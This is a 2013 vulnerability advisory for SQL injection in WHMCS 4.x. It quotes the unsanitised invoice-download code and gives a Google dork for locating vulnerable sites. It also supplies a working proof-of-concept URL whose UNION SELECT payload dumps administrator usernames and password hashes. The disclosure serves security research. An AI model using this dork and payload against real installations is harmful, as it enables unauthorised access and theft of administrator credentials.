# Title: WHMCS 4.x SQL Injection Vulnerability
# Google Dork: intext:"Powered by WHMCompleteSolution" OR inurl:"submitticket.php"
# Author: Ahmed Aboul-Ela
# Contact: Ahmed.Aboul3la[at]gmail[dot]com
# Date: 14/5/2013
# Vendor: http://www.whmcs.com
# Version: 4.5.2 and perior versions should be affected too
# Tested on: Linux
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Sql Injection Vulnerability in "/includes/invoicefunctions.php"
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- Vulnerable Code Snippet :
LINE 582: function pdfInvoice($id)
LINE 583: {
LINE 686: if ($CONFIG['GroupSimilarLineItems'])
LINE 687: {
LINE 688: $result = full_query('' . 'SELECT COUNT(*),id,type,relid,description,amount,taxed FROM tblinvoiceitems WHERE invoiceid=' . $id . ' GROUP BY `description`,`amount` ORDER BY id ASC');
LINE 689: }
As we can see here the $id argument of pdfInvoice function have been used directly at mysql query without any sanitization which leads directly to Sql Injection
It appears that pdfInvoice function is being called at "/dl.php" file as the following:
LINE 21: if ($type == 'i')
LINE 22: {
LINE 23: $result = select_query('tblinvoices', '', array(
LINE 24: 'id' => $id
LINE 25: ));
LINE 26: $data = mysql_fetch_array($result);
LINE 27: $invoiceid = $data['id'];
LINE 28: $invoicenum = $data['invoicenum'];
LINE 29: $userid = $data['userid'];
LINE 30: if ((!$_SESSION['adminid'] && $_SESSION['uid'] != $userid))
LINE 31: {
LINE 32: downloadLogin();
LINE 33: }
LINE 34: if (!$invoicenum)
LINE 35: {
LINE 36: $invoicenum = $invoiceid;
LINE 37: }
LINE 38: require('includes/clientfunctions.php');
LINE 39: require('includes/countries.php');
LINE 40: require('includes/invoicefunctions.php');
LINE 41: require('includes/tcpdf.php');
LINE 42: $pdfdata = pdfInvoice($id);
LINE 43: header('Pragma: public');
LINE 44: header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
LINE 45: header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
LINE 46: header('Cache-Control: must-revalidate, post-check=0, pre-check=0, private');
LINE 47: header('Cache-Control: private', false);
LINE 48: header('Content-Type: application/octet-stream');
LINE 49: header('Content-Disposition: attachment; filename="' . $invoicenum . '.pdf"');
LINE 50: header('Content-Transfer-Encoding: binary');
LINE 51: echo $pdfdata;
LINE 52: exit();
LINE 53: return 1;
LINE 54: }
As we can see at LINE "42" the pdfInvoice function have been called and passed $id Variable without any sanitization
Afterwards it force the browser to download the generated invoice in PDF format
- Proof of Concept for Exploitation
To Dump Administrator Credentials (user & pass):
http://www.site.com/whmcs/dl.php?type=i&id=1 and 0x0=0x1 union select 1,2,3,4,CONCAT(username,0x3a3a3a,password),6,7 from tbladmins --
~ Result: The Browser will prompt download for the pdf invoice file after opening it you should find the username and pw hash there :)
- Precondition to Successfully Exploit the Vulnerability:
"Group Similar Line Items" Option should be Enabled at the Invoices Settings in the WHMCS Admin ( It should be Enabled by default )
- Credits:
Ahmed Aboul-Ela - Information Security Consultant @ Starware Group
